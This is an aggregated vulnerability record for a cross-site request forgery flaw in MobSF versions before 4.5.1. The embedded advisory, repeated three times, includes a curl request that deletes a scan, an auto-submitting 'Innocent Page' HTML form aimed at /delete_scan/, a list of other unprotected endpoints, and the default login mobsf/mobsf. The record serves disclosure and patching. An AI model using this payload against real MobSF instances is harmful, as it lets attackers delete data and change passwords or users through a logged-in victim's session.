{"id":"CVE-2026-68923","aliases":["EUVD-2026-61134","GHSA-3p54-567p-2wpr","PYSEC-2026-3688"],"status":"published","title":"MobSF: CSRF checks not enforced after Django migration","description":"MobSF is a mobile application security testing tool used. Prior to 4.5.1, mobsf/MobSF/settings.py places django.middleware.csrf.CsrfViewMiddleware only in the deprecated MIDDLEWARE_CLASSES setting and omits it from the active MIDDLEWARE tuple, allowing a remote attacker to make a logged-in victim submit cross-site POST requests to authenticated web endpoints including /delete_scan/, /upload/, /download_scan/, /change_password/, /create_user/, and /delete_user/. This can delete scans, upload or download applications, change passwords, or manage users with the victim account permissions. This issue is fixed in version 4.5.1.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00264,"percentile":0.18446,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-352"],"published":"2026-08-18T17:49:23Z","modified":"2026-10-28T02:31:09Z","fixes":[{"ecosystem":"PyPI","package":"mobsf","fixed_in":["4.5.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"mobsf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.1"}]}]},{"source":"osv","ecosystem":"PyPI","package":"mobsf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.1"}]}],"versions":["3.2.6","3.2.7","3.2.8","3.2.9","3.3.3","3.3.5","3.4.0","3.4.3","3.4.6","3.5.0","3.6.0","3.6.9","3.7.6","3.9.7","4.1.3","4.3.0","4.3.2","4.4.0","4.4.2","4.4.5"]},{"source":"osv","ecosystem":"PyPI","package":"mobsf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.1"}]}],"versions":["3.2.6","3.2.7","3.2.8","3.2.9","3.3.3","3.3.5","3.4.0","3.4.3","3.4.6","3.5.0","3.6.0","3.6.9","3.7.6","3.9.7","4.1.3","4.3.0","4.3.2","4.4.0","4.4.2","4.4.5"]}],"products":[{"vendor":"mobsf","product":"mobile-security-framework-mobsf"}],"references":[{"url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-3p54-567p-2wpr","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/2627","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/62563ca429a75b3e5d47a13b958e1d2e7d5e2bbf","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.5.1","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-3p54-567p-2wpr","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/68xxx/CVE-2026-68923.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-68923","tags":["advisory"]},{"url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF","tags":["package"]},{"url":"https://pypi.org/project/mobsf","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-68923","title":"MobSF: CSRF checks not enforced after Django migration","description":"MobSF is a mobile application security testing tool used. Prior to 4.5.1, mobsf/MobSF/settings.py places django.middleware.csrf.CsrfViewMiddleware only in the deprecated MIDDLEWARE_CLASSES setting and omits it from the active MIDDLEWARE tuple, allowing a remote attacker to make a logged-in victim submit cross-site POST requests to authenticated web endpoints including /delete_scan/, /upload/, /download_scan/, /change_password/, /create_user/, and /delete_user/. This can delete scans, upload or download applications, change passwords, or manage users with the victim account permissions. This issue is fixed in version 4.5.1.","status":"published","published":"2026-08-18T17:49:23.408Z","modified":"2026-08-19T18:21:29.036Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T13:46:10.323375Z"}],"euvd":[{"id":"EUVD-2026-61134","description":"MobSF is a mobile application security testing tool used. Prior to 4.5.1, mobsf/MobSF/settings.py places django.middleware.csrf.CsrfViewMiddleware only in the deprecated MIDDLEWARE_CLASSES setting and omits it from the active MIDDLEWARE tuple, allowing a remote attacker to make a logged-in victim submit cross-site POST requests to authenticated web endpoints including /delete_scan/, /upload/, /download_scan/, /change_password/, /create_user/, and /delete_user/. This can delete scans, upload or download applications, change passwords, or manage users with the victim account permissions. This issue is fixed in version 4.5.1.","status":"published","published":"2026-08-18T17:49:23Z","modified":"2026-08-19T18:21:29Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T18:01:40.9092Z"}],"ghsa":[{"id":"GHSA-3p54-567p-2wpr","title":"MobSF's CSRF checks not enforced after Django migration","description":"### Summary\n\nDjango's `CsrfViewMiddleware` exists only in the deprecated `MIDDLEWARE_CLASSES` (ignored since Django 2.0). The active `MIDDLEWARE` tuple does not include it. All authenticated web POST endpoints (delete scan, upload, download APK, change password, manage users) accept requests without CSRF tokens.\n\n### Verified Impact\n\nThis was verified by **actually deleting a real scan** from the running server using only a session cookie — no CSRF token was required:\n\n```\n$ curl -s -b cookies.txt -X POST \"http://127.0.0.1:8000/delete_scan/\" \\\n    -d \"md5=68e76627798d62555d5287f4488a32c7\u0026scan_type=apk\"\n{\"deleted\": \"yes\"}\n```\n\nThe scan was removed from the database. This attack works from any website via HTML form auto-submission because:\n- **No CSRF token is validated** (middleware absent)\n- **Cookie `SameSite=Lax`** allows form-based top-level navigation to send the session cookie\n\n### Affected Component\n\n```\nFile: mobsf/MobSF/settings.py (Lines 206-212)\n\nMIDDLEWARE = (\n    'mobsf.MobSF.views.api.api_middleware.RestApiAuthMiddleware',\n    'django.contrib.sessions.middleware.SessionMiddleware',\n    'django.contrib.auth.middleware.AuthenticationMiddleware',\n    'django.contrib.messages.middleware.MessageMiddleware',\n    # MISSING: 'django.middleware.csrf.CsrfViewMiddleware'\n)\n```\n\n### Steps to Reproduce\n\n**1.** Start MobSF v4.4.6 and log in at `http://127.0.0.1:8000/login/` (creds: `mobsf/mobsf`).\n\n**2.** Upload and scan any APK to create a scan entry. Note the MD5 hash from \"Recent Scans\".\n\n**3.** Open the following HTML file in the **same browser** (simulates visiting attacker's page):\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eInnocent Page\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003eLoading...\u003c/h1\u003e\n\u003cform id=\"f\" method=\"POST\" action=\"http://127.0.0.1:8000/delete_scan/\"\u003e\n  \u003cinput type=\"hidden\" name=\"md5\" value=\"PUT_REAL_MD5_HASH_HERE\" /\u003e\n  \u003cinput type=\"hidden\" name=\"scan_type\" value=\"apk\" /\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById('f').submit();\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**4.** The scan is deleted. Navigate back to MobSF \"Recent Scans\" to confirm it's gone.\n\n### Why This Is Not a Self-Bug\n\n- The attack requires a **victim user** who is logged in to visit an attacker-controlled page\n- The attacker crafts the form targeting the victim's MobSF instance\n- All destructive POST endpoints are affected: `/delete_scan/`, `/upload/`, `/download_scan/`, `/change_password/`, `/create_user/`, `/delete_user/`\n- This matches the pattern of previously accepted MobSF advisories (e.g., GHSA-5jc6-h9w7-jm3p, GHSA-8m9j-2f32-2vx4)\n\n### Remediation\n\nAdd `'django.middleware.csrf.CsrfViewMiddleware'` to the active `MIDDLEWARE` tuple.","status":"published","published":"2026-08-18T18:01:13Z","modified":"2026-08-18T18:01:14Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T14:41:03.602876Z"}],"nvd":[{"id":"CVE-2026-68923","description":"MobSF is a mobile application security testing tool used. Prior to 4.5.1, mobsf/MobSF/settings.py places django.middleware.csrf.CsrfViewMiddleware only in the deprecated MIDDLEWARE_CLASSES setting and omits it from the active MIDDLEWARE tuple, allowing a remote attacker to make a logged-in victim submit cross-site POST requests to authenticated web endpoints including /delete_scan/, /upload/, /download_scan/, /change_password/, /create_user/, and /delete_user/. This can delete scans, upload or download applications, change passwords, or manage users with the victim account permissions. This issue is fixed in version 4.5.1.","status":"published","published":"2026-08-18T18:19:28.053Z","modified":"2026-10-22T22:10:00.25Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T14:12:38.976695Z"}],"osv":[{"id":"CVE-2026-68923","title":"MobSF: CSRF checks not enforced after Django migration","description":"MobSF is a mobile application security testing tool used. Prior to 4.5.1, mobsf/MobSF/settings.py places django.middleware.csrf.CsrfViewMiddleware only in the deprecated MIDDLEWARE_CLASSES setting and omits it from the active MIDDLEWARE tuple, allowing a remote attacker to make a logged-in victim submit cross-site POST requests to authenticated web endpoints including /delete_scan/, /upload/, /download_scan/, /change_password/, /create_user/, and /delete_user/. This can delete scans, upload or download applications, change passwords, or manage users with the victim account permissions. This issue is fixed in version 4.5.1.","status":"published","published":"2026-08-18T17:49:23.408Z","modified":"2026-10-28T02:31:09.131486645Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T15:45:14.808935Z"},{"id":"GHSA-3p54-567p-2wpr","title":"MobSF's CSRF checks not enforced after Django migration","description":"### Summary\n\nDjango's `CsrfViewMiddleware` exists only in the deprecated `MIDDLEWARE_CLASSES` (ignored since Django 2.0). The active `MIDDLEWARE` tuple does not include it. All authenticated web POST endpoints (delete scan, upload, download APK, change password, manage users) accept requests without CSRF tokens.\n\n### Verified Impact\n\nThis was verified by **actually deleting a real scan** from the running server using only a session cookie — no CSRF token was required:\n\n```\n$ curl -s -b cookies.txt -X POST \"http://127.0.0.1:8000/delete_scan/\" \\\n    -d \"md5=68e76627798d62555d5287f4488a32c7\u0026scan_type=apk\"\n{\"deleted\": \"yes\"}\n```\n\nThe scan was removed from the database. This attack works from any website via HTML form auto-submission because:\n- **No CSRF token is validated** (middleware absent)\n- **Cookie `SameSite=Lax`** allows form-based top-level navigation to send the session cookie\n\n### Affected Component\n\n```\nFile: mobsf/MobSF/settings.py (Lines 206-212)\n\nMIDDLEWARE = (\n    'mobsf.MobSF.views.api.api_middleware.RestApiAuthMiddleware',\n    'django.contrib.sessions.middleware.SessionMiddleware',\n    'django.contrib.auth.middleware.AuthenticationMiddleware',\n    'django.contrib.messages.middleware.MessageMiddleware',\n    # MISSING: 'django.middleware.csrf.CsrfViewMiddleware'\n)\n```\n\n### Steps to Reproduce\n\n**1.** Start MobSF v4.4.6 and log in at `http://127.0.0.1:8000/login/` (creds: `mobsf/mobsf`).\n\n**2.** Upload and scan any APK to create a scan entry. Note the MD5 hash from \"Recent Scans\".\n\n**3.** Open the following HTML file in the **same browser** (simulates visiting attacker's page):\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eInnocent Page\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003eLoading...\u003c/h1\u003e\n\u003cform id=\"f\" method=\"POST\" action=\"http://127.0.0.1:8000/delete_scan/\"\u003e\n  \u003cinput type=\"hidden\" name=\"md5\" value=\"PUT_REAL_MD5_HASH_HERE\" /\u003e\n  \u003cinput type=\"hidden\" name=\"scan_type\" value=\"apk\" /\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById('f').submit();\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**4.** The scan is deleted. Navigate back to MobSF \"Recent Scans\" to confirm it's gone.\n\n### Why This Is Not a Self-Bug\n\n- The attack requires a **victim user** who is logged in to visit an attacker-controlled page\n- The attacker crafts the form targeting the victim's MobSF instance\n- All destructive POST endpoints are affected: `/delete_scan/`, `/upload/`, `/download_scan/`, `/change_password/`, `/create_user/`, `/delete_user/`\n- This matches the pattern of previously accepted MobSF advisories (e.g., GHSA-5jc6-h9w7-jm3p, GHSA-8m9j-2f32-2vx4)\n\n### Remediation\n\nAdd `'django.middleware.csrf.CsrfViewMiddleware'` to the active `MIDDLEWARE` tuple.","status":"published","published":"2026-08-18T18:01:13Z","modified":"2026-08-19T12:55:33.96505603Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T15:46:35.747385Z"},{"id":"PYSEC-2026-3688","title":"MobSF's CSRF checks not enforced after Django migration","description":"### Summary\n\nDjango's `CsrfViewMiddleware` exists only in the deprecated `MIDDLEWARE_CLASSES` (ignored since Django 2.0). The active `MIDDLEWARE` tuple does not include it. All authenticated web POST endpoints (delete scan, upload, download APK, change password, manage users) accept requests without CSRF tokens.\n\n### Verified Impact\n\nThis was verified by **actually deleting a real scan** from the running server using only a session cookie — no CSRF token was required:\n\n```\n$ curl -s -b cookies.txt -X POST \"http://127.0.0.1:8000/delete_scan/\" \\\n    -d \"md5=68e76627798d62555d5287f4488a32c7\u0026scan_type=apk\"\n{\"deleted\": \"yes\"}\n```\n\nThe scan was removed from the database. This attack works from any website via HTML form auto-submission because:\n- **No CSRF token is validated** (middleware absent)\n- **Cookie `SameSite=Lax`** allows form-based top-level navigation to send the session cookie\n\n### Affected Component\n\n```\nFile: mobsf/MobSF/settings.py (Lines 206-212)\n\nMIDDLEWARE = (\n    'mobsf.MobSF.views.api.api_middleware.RestApiAuthMiddleware',\n    'django.contrib.sessions.middleware.SessionMiddleware',\n    'django.contrib.auth.middleware.AuthenticationMiddleware',\n    'django.contrib.messages.middleware.MessageMiddleware',\n    # MISSING: 'django.middleware.csrf.CsrfViewMiddleware'\n)\n```\n\n### Steps to Reproduce\n\n**1.** Start MobSF v4.4.6 and log in at `http://127.0.0.1:8000/login/` (creds: `mobsf/mobsf`).\n\n**2.** Upload and scan any APK to create a scan entry. Note the MD5 hash from \"Recent Scans\".\n\n**3.** Open the following HTML file in the **same browser** (simulates visiting attacker's page):\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eInnocent Page\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003eLoading...\u003c/h1\u003e\n\u003cform id=\"f\" method=\"POST\" action=\"http://127.0.0.1:8000/delete_scan/\"\u003e\n  \u003cinput type=\"hidden\" name=\"md5\" value=\"PUT_REAL_MD5_HASH_HERE\" /\u003e\n  \u003cinput type=\"hidden\" name=\"scan_type\" value=\"apk\" /\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById('f').submit();\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**4.** The scan is deleted. Navigate back to MobSF \"Recent Scans\" to confirm it's gone.\n\n### Why This Is Not a Self-Bug\n\n- The attack requires a **victim user** who is logged in to visit an attacker-controlled page\n- The attacker crafts the form targeting the victim's MobSF instance\n- All destructive POST endpoints are affected: `/delete_scan/`, `/upload/`, `/download_scan/`, `/change_password/`, `/create_user/`, `/delete_user/`\n- This matches the pattern of previously accepted MobSF advisories (e.g., GHSA-5jc6-h9w7-jm3p, GHSA-8m9j-2f32-2vx4)\n\n### Remediation\n\nAdd `'django.middleware.csrf.CsrfViewMiddleware'` to the active `MIDDLEWARE` tuple.","status":"published","published":"2026-08-19T11:56:27.721821Z","modified":"2026-08-19T12:45:05.491081618Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:56.847083Z"}]}}